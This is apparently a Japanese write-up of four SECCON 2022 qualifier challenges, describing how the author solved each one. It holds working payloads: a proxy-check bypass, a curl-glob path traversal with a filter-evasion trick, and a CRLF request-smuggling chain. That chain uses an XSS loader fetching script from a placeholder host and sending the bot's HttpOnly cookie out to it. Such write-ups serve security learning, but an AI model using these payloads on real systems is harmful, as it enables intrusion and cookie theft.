SECCON CTF 2022 Quals writeups
今年も相変わらず会社のチームでSECCON予選に出場。主にWeb問を中心に解いて最終的にfind flag、skipinx、easylfi、bffcalcの4問を解いた。
国内本戦には一応出られそうな見込み。上位チームはWriteupの提出が必要ということでここに記す。
misc
find flag
#!/usr/bin/env python3.9 import os FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode() def check(): try: filename = input("filename: ") if open(filename, "rb").read(len(FLAG)) == FLAG: return True except FileNotFoundError: print("[-] missing") except IsADirectoryError: print("[-] seems wrong") except PermissionError: print("[-] not mine") except OSError: print("[-] hurting my eyes") except KeyboardInterrupt: print("[-] gone") return False if __name__ == '__main__': try: check = check() except FileExistsError: print("[-] something went wrong") exit(1) finally: if check: print("[+] congrats!") print(FLAG.decode())
コードをよーく見るとFileNotFoundError
, IsADirectoryError
, PermissionError
, OSError
, KeyboardInterrupt
以外の例外を発生させればflagが得られることがわかる。ctrl+d
でEOFError
を発生させればflagが得られる。
filename: [-] something went wrong [+] congrats! SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
と、さらっと解けた風に書いているが、実際には全然解き方が分からずやけくそでブルートフォースするスクリプトを走らせたり止めたりしていたらWiresharkになぜかflagが記録されていて解けたのであった。
web
skipinx
Node.js製のサーバーの前にリバプロとしてNginxが動いているという構成。
Nginxではクエリ文字列にproxy=nginx
を付与してアプリにリクエストを送信する。
location / { set $args "${args}&proxy=nginx"; proxy_pass http://web:3000; }
バックエンドのアプリではクエリ文字列にproxy=nginx
が含まれない場合にフラグを返す処理が書かれている。
app.get("/", (req, res) => { req.query.proxy.includes("nginx") ? res.status(400).send("Access here directly, not via nginx :(") : res.send(`Congratz! You got a flag: ${FLAG}`); });
色々考えたが割と多くの人が解けていたので適当にガチャガチャした結果、最終的に次のリクエストにより制限を突破できた。
http://skipinx.seccon.games:8080/?proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}
easylfi
from flask import Flask, request, Response import subprocess import os app = Flask(__name__) def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text @app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response @app.route("/") @app.route("/<path:filename>") def index(filename: str = "index.html"): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try: proc = subprocess.run( ["curl", f"file://{os.getcwd()}/public/{filename}"], capture_output=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0: return "Something wrong..." return template(proc.stdout.decode(), request.args)
超簡易なテンプレートエンジン的なものをもったWebアプリであることがわかる。テンプレートとなるローカルファイルを読み込む際にわざわざcurlを使っているあたりが実に怪しい。
flagを得るためにやることはシンプルで次の通り。
..
と%
という文字を使わずにパストラバーサルをして/flag.txt
を読む- 出力に
SECCON
という文字列が含まれないようにする(flagの形式はSECCON{xxx}
)
まずはflag.txtを読み込めるようにする。
You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the URL as in: "http://site.{one,two,three}.com"
波括弧を使うと何かできそうな気がしたので色々試したところ次のリクエストで..
を使わずにパストラバーサルをしてflag.txtを読み出すことができた。
GET /{hello.html,.\./.\./flag.txt} HTTP/1.1 Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Xxx, xx Nov 2022 xx:xx:xx GMT Content-Type: text/html; charset=utf-8 Content-Length: 10 Connection: close Try harder
ローカルでSECCON
文字列のチェックを無効化した問題サーバーを動かして前述のリクエストを送信すると、SECCON
という文字列が含まれているflag.txtを読み出すことに成功していることがわかる。
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Xxx, xx Nov 2022 xx:xx:xx GMT Content-Type: text/html; charset=utf-8 Content-Length: 240 Connection: close --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON{dummydummy}
次にこのレスポンスからSECCON
という文字列を消す方法を考える。
ここでテンプレートエンジンの仕様を確認すると次のことがわかる。
- クエリ文字列のkeyをvalueに置換する
- クエリ文字列のkeyは
{
で始まり}
で終わることと、波括弧はそれ以外の場所に含まれないことを確認するバリデーションがある- ただしバリデーションに不備がありkeyが
{
の1文字だけでも受け入れてしまう
- ただしバリデーションに不備がありkeyが
この不備を使うと次の手順によりSECCON
という文字列を削除することができる。
↓最初の状態
Hello, {name}! ... SECCON{dummydummy}
{name}
をAAA{
に置換
Hello, AAA{! ... SECCON{dummydummy}
{
を}{
に置換
Hello, AAA}{! ... SECCON}{dummydummy}
{! ... SECCON}
をBBB
に置換
Hello, AAA}BBB{dummydummy}
実際には次のリクエストでSECCON
をレスポンスから消し去ることができる。
GET /{hello.html,.\./.\./flag.txt}?{name}=AAA{&{=}{&%7B%21%3C%2Fh1%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A%2D%2D%5Fcurl%5F%2D%2Dfile%3A%2F%2F%2Fapp%2Fpublic%2F%2E%2E%2F%2E%2E%2Fflag%2Etxt%0ASECCON%7D=BBB HTTP/1.1 Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Xxx, xx Nov 2022 xx:xx:xx GMT Content-Type: text/html; charset=utf-8 Content-Length: 199 Connection: close --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, AAA}BBB{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
bffcalc
問題は複数のサーバーで構成されており、リクエストは次のように処理される。
nginx -> bff -> backend
このほかにbotも動いており、botに問題サーバーへアクセスされることもできる。
nginxは問題サーバーとbotへのリクエストのルーティングをしているだけで特殊なことは何もしていない。
bffは/
へのリクエストの場合、静的なページを返すがそれ以外のページへのアクセスの場合はbackendにリクエストを転送する。
backendはリクエストのクエリ文字列expr
の長さが50文字未満、かつ、0123456789+-*/
のみで構成されている場合はexpr
をeval
する。それ以外の場合はexpr
をそのまま返す。
flagはbotのcookieに入っているが、HttpOnly属性が付与されており普通にXSSするだけでは取得することができない。
コードを眺めているとbffからbackendにHTTPリクエストを送信する処理が、HTTPリクエストを文字列として生成し、生のsocketを使って送信するという実装になっておりここになんらかの穴がありそうと感じた。
def proxy(req) -> str: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("backend", 3000)) sock.settimeout(1) payload = "" method = req.method path = req.path_info if req.query_string: path += "?" + req.query_string payload += f"{method} {path} HTTP/1.1\r\n" for k, v in req.headers.items(): payload += f"{k}: {v}\r\n" payload += "\r\n" sock.send(payload.encode()) time.sleep(.3) try: data = sock.recv(4096) body = data.split(b"\r\n\r\n", 1)[1].decode() except (IndexError, TimeoutError) as e: print(e) body = str(e) return body
↑のpayload
をprintするように改造して色々リクエストを投げると次のことに気づいた。
下記のリクエストをbff(実際にはnginx)に対して送信すると
GET /AAA%0d%0aBBB?expr=CCC%0d%0aDDD HTTP/1.1 Host: localhost:3000
bffは次のリクエストを生成してbackendに送信する。
GET /AAA BBB?expr=CCC%0d%0aDDD HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: localhost X-Real-Ip: 172.19.0.1 X-Forwarded-For: 172.19.0.1 X-Forwarded-Proto: http
パスのURLエンコードされた文字列がデコードされ、改行がそのままリクエストに反映されてしまっている。これを利用することで変なリクエストを生成させて最終的にbotのcookieを入手できそうな雰囲気がある。
解き方として次の方針を立てた。
- Flagはcookieに含まれるためなんらかの方法でリクエストヘッダを入手する必要がある
expr
の値はそのまま返される- なんらかの方法でHTTPヘッダを
expr
の値としてサーバーに認識させてflagを入手する
(他の人のwriteupを見ると実際にはヘッダーをエラーメッセージに出力させるスマートな方法があったようだが、そこに気づかなかったため面倒なこの方法で突き進んでいった。)
クエリ文字列のexpr
にcookieを入れるのは無理だったが、色々試しているうちにbackendはクエリ文字列のexpr
だけではなくPOSTリクエストのbodyのexpr
も読み込んでくれることに気づいた。したがって次のリクエストをbackendに送信すると
GET /AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:100%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr= HTTP/1.1 Host: localhost:3000
bffには次のリクエストが送信される。
GET /AAA HTTP/1.1 Host:a POST / HTTP/1.1 Host:b Content-Length:100 Content-Type:application/x-www-form-urlencoded expr= HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: localhost X-Real-Ip: 172.19.0.1 X-Forwarded-For: 172.19.0.1 X-Forwarded-Proto: http
bffはPOSTのbodyのexpr
の値をそのまま返すので、HTTPリクエストヘッダを含む次のレスポンスが返される。(幸いにも改行などは無視してくれる模様。)
HTTP/1.1 200 OK Server: nginx/1.23.2 Date: Wed, 16 Nov 2022 16:40:05 GMT Content-Type: text/html;charset=utf-8 Content-Length: 427 Connection: keep-alive Via: waitress 42HTTP/1.1 200 OK Content-Length: 95 Content-Type: text/html;charset=utf-8 Date: Wed, 16 Nov 2022 16:40:05 GMT Server: CherryPy/18.8.0 Via: waitress HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: localhoHTTP/1.0 200 OK Connection: close Content-Length: 2 Content-Type: text/html;charset=utf-8 Date: Wed, 16 Nov 2022 16:40:05 GMT Server: CherryPy/18.8.0 Via: waitress 42
botにこのようなリクエストを送信させレスポンスを入手すればflagが手に入りそうである。
expr
に次を指定し、botにアクセスさせる。
<img src=x onerror="s=document.createElement('script');s.src='http://XXXX/a.js';document.body.appendChild(s)">
↓a.js
の中身
fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:431%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr=") .then((resp) => resp.text()) .then((data) => { (new Image()).src = 'http://XXXX/?a=' + data; })
このリクエストによりbackendには次のリクエストが送信されbodyに入ったcookieがレスポンスとして返されるはずである。
GET /AAA HTTP/1.1 Host:a POST / HTTP/1.1 Host:b Content-Length:431 Content-Type:application/x-www-form-urlencoded expr= HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: nginx X-Real-Ip: 172.19.0.3 X-Forwarded-For: 172.19.0.3 X-Forwarded-Proto: http User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: */* Referer: http://nginx:3000/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: flag=SECCON{dummydummy}
が、実際に入手できたレスポンスは次だった。
42HTTP/1.1 200 OKContent-Length: 200Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 16:59:32 GMTServer: CherryPy/18.8.0Via: waitress HTTP/1.1Remote-Addr: 172.19.0.6Remote-Host: 172.19.0.6Connection: upgradeHost: nginxX-Real-Ip: 172.19.0.3X-Forwarded-For: 172.19.0.3X-Forwarded-Proto: httpUser-Agent: Mozilla/5.0 (X11
HTTPリクエストヘッダの途中まではいい感じに返ってきているが、User-AgentのMozilla/5.0 (X11
以降が返されていない。これはbackendのcherrypyがbodyをパースする際にUser-Agentに含まれる;
をデータの区切りとして認識してexpr
がそこで終わってしまったためである(むしろ改行が入っていても問題ないことにちょっと驚いたが)。
さて、fetch()
では一部のヘッダー*2を除いてヘッダーの値を変更することが可能であり、User-Agentは変更できることになっている。したがってUser-Agentを別の値に変更すればよさそうと思ったが、試してみると変更ができない。調べてみるとなんとChromeのバグ*3(botはChromeを使っている)によりUser-Agentを変更できないことがわかった。
このことに気づいたとき、作問者のArk氏は問題の難易度を上げるためにChromeのバグも利用するのかと一人で感動して震えていた。(想定解は別の方法な気がするので、今となってはこれは意図していなかった気もするが。)
;
が含まれるもう一つのヘッダであるAccept-Languageは変更可能なのでAccept-Language: &expr=
と指定すればAccept-Language以降がレスポンスに含まれると考えたがAccept-Languageを変更するとヘッダの順番が次のように変わってしまい、またもやUser-Agentの;
に阻まれることとなってしまった。(ここでもなんてよくできた問題なんだと感動していた。)
Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: nginx X-Real-Ip: 172.19.0.3 X-Forwarded-For: 172.19.0.3 X-Forwarded-Proto: http Accept-Language: &expr= User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: */* Referer: http://nginx:3000/ Accept-Encoding: gzip, deflate Cookie: flag=SECCON{dummydummy}
試行錯誤の末、最終的にRefererは同一オリジンであれば変更することができ、変更してもHTTPヘッダの順序は変わらないことが判明したため、次のJavaScriptをbotに実行させることにより
fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:426%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aBBB=", { headers: { "Accept-Language": "CCC" }, referrer: "http://nginx:3000/?&expr=" }) .then((resp) => resp.text()) .then((data) => { (new Image()).src = 'http://XXXX/?a=' + data; })
backendには次のリクエストが送信され
GET /AAA HTTP/1.1 Host:a POST / HTTP/1.1 Host:b Content-Length:426 Content-Type:application/x-www-form-urlencoded BBB= HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: nginx X-Real-Ip: 172.19.0.3 X-Forwarded-For: 172.19.0.3 X-Forwarded-Proto: http Accept-Language: CCC User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: */* Referer: http://nginx:3000/?&expr= Accept-Encoding: gzip, deflate Cookie: flag=SECCON{dummydummy}
最終的なレスポンスとしてflagを手に入れることができる。
42HTTP/1.1 200 OKContent-Length: 65Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:51:27 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{dummydummy}
実際の問題サーバーではPOSTのContent-Lengthを465に調整すると次の応答を得られ、flagが入手できた。
42HTTP/1.1 200 OKContent-Length: 105Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:56:41 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}